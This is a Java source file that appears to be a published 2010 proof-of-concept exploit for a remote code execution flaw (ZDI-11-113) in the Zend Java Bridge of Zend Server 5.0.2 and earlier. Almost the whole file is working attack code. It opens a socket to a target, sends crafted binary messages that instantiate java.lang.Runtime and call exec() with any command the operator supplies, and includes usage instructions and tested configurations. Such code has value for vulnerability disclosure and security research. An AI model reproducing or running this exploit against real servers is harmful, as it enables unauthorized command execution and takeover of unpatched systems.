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/* * Zend Java Bridge v3.1 - Remote Code Execution (ZDI-11-113) * Copyright (c) 2010 Luca Carettoni * * ZJB.java v0.2 - 4 August 2010 * * [Usage] * java -jar zjb.jar <IP> <PORT> '<CMD>' (Default: 10001/tcp) * * [Version affected] * Zend Server v5.0.2, Zend Server Community Edition v5.0.2 and previous releases * http://www.zend.com/en/products/server/ * * All platform are affected (Windows, Linux, Mac OS X and IBM i) as long as the vulnerable Zend Java Bridge * component is installed. For instance, this is the default configuration in the Windows "FULL" installation. * Disabling the Zend Java Bridge from the administration console does NOT solve the issue. * * Exploit tested with the following configurations: * - MS Windows Server 2003, Zend Server 5.0.2 default "FULL" installation * - Ubuntu 8.10, Zend Server 5.0.2 default installation + "php-5.3-java-bridge-zend-server" installation * - Ubuntu 8.10, Zend Server 5.0.0 default installation * */ package ZJBpoc; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import java.net.Socket; public class ZJB { private String ip; private String port; private String cmd; private Socket socket; public ZJB(String ip, String port, String cmd) { this.ip = ip; this.port = port; this.cmd = cmd; try { System.out.println("[*] Connecting to " + this.ip + ":" + this.port); this.socket = new Socket(this.ip, Integer.parseInt(this.port)); } catch (Exception e) { System.out.println("[!] Connection error\n"); System.exit(-1); } } public boolean run() { System.out.println("[*] Creating the Java Object \"java.lang.Runtime\""); byte[] createObj = new byte[]{ //$runtime =new Java("java.lang.Runtime"); (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x33, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0c, (byte) 0x43, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x4f, (byte) 0x62, (byte) 0x6a, (byte) 0x65, (byte) 0x63, (byte) 0x74, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x02, (byte) 0x04, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x11, (byte) 0x6a, (byte) 0x61, (byte) 0x76, (byte) 0x61, (byte) 0x2e, (byte) 0x6c, (byte) 0x61, (byte) 0x6e, (byte) 0x67, (byte) 0x2e, (byte) 0x52, (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x69, (byte) 0x6d, (byte) 0x65, (byte) 0x07, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,}; byte[] idObj = new byte[4]; System.arraycopy(sendData(createObj), 5, idObj, 0, 4); System.out.println("[-] Class ID: 0x" + getHex(idObj)); System.out.println("[*] Invoking static method \"getRuntime()\""); byte[] getRuntime = new byte[]{ //$getRuntime = $runtime->getRuntime(); (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x16, idObj[0], idObj[1], idObj[2], idObj[3], //Object ID (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0a, (byte) 0x67, (byte) 0x65, (byte) 0x74, (byte) 0x52, (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x69, (byte) 0x6d, (byte) 0x65, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 }; byte[] idMet = new byte[4]; System.arraycopy(sendData(getRuntime), 5, idMet, 0, 4); System.out.println("[-] Method ID: 0x" + getHex(idMet)); System.out.println("[*] Invoking method \"exec()\" with parameter \"" + this.cmd + "\""); byte[] exec = new byte[]{ //$getRuntime->exec("<system cmd>"); idMet[0], idMet[1], idMet[2], idMet[3], //Method ID (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x04, (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x63, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x01, (byte) 0x04,}; byte[] cmd = this.cmd.getBytes(); byte[] cmdSize = intToByteArray(cmd.length); byte[] payloadSize = intToByteArray(cmd.length + 21); System.out.println("[-] Payload size: 0x" + getHex(payloadSize)); System.out.println("[-] Command size: 0x" + getHex(cmdSize)); //payload = payloadSize + (methodId + staticStr) + cmdSize + cmd byte[] payload = new byte[4 + exec.length + 4 + cmd.length]; System.arraycopy(payloadSize, 0, payload, 0, 4); System.arraycopy(exec, 0, payload, 4, exec.length); System.arraycopy(cmdSize, 0, payload, exec.length + 4, 4); System.arraycopy(cmd, 0, payload, 4 + exec.length + 4, cmd.length); System.out.println("[-] Payload: 0x" + getHex(payload)); byte[] execReply = sendData(payload); System.out.println("[*] Cleaning up the JVM"); byte[] reset = new byte[]{ //Reset (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x11, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x05, (byte) 0x72, (byte) 0x65, (byte) 0x73, (byte) 0x65, (byte) 0x74, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 }; sendData(reset); //Check the response type of the exec invocation if (execReply[3] == (byte) 0x05 && execReply[4] == (byte) 0x05) { return true; } else { return false; } } private static String getHex(byte[] raw) { final String HEXES = "0123456789ABCDEF"; if (raw == null) { return null; } final StringBuilder hex = new StringBuilder(2 * raw.length); for (final byte b : raw) { hex.append(HEXES.charAt((b & 0xF0) >> 4)).append(HEXES.charAt((b & 0x0F))); } return hex.toString(); } private static byte[] intToByteArray(int value) { byte[] b = new byte[4]; for (int i = 0; i < 4; i++) { int offset = (b.length - 1 - i) * 8; b[i] = (byte) ((value >>> offset) & 0xFF); } return b; } private byte[] sendData(byte[] data) { byte[] reply = new byte[9]; try { DataOutputStream os = new DataOutputStream(this.socket.getOutputStream()); DataInputStream is = new DataInputStream(this.socket.getInputStream()); os.write(data); os.flush(); is.read(reply); } catch (IOException ex) { System.out.println("[!] Socket error...\n" + ex.getMessage()); } return reply; } public static void main(String[] args) throws IOException { System.out.println("\n--[ Zend Java Bridge - Remote Code Execution ]"); System.out.println("--[ Copyright (c) 2010 Luca Carettoni ]\n"); if (args.length != 3) { System.out.println("[!] Usage: java -jar zjb.jar <IP> <PORT> \'<CMD>\' (Default: 10001/tcp)\n"); System.exit(0); } else { ZJB exploit = new ZJB(args[0], args[1], args[2]); if (exploit.run()) { System.out.println("[*] Write once, exploit anywhere!\n"); } else { System.out.println("[!] An error occurred during the execution...\n"); } exploit.socket.close(); } } } |
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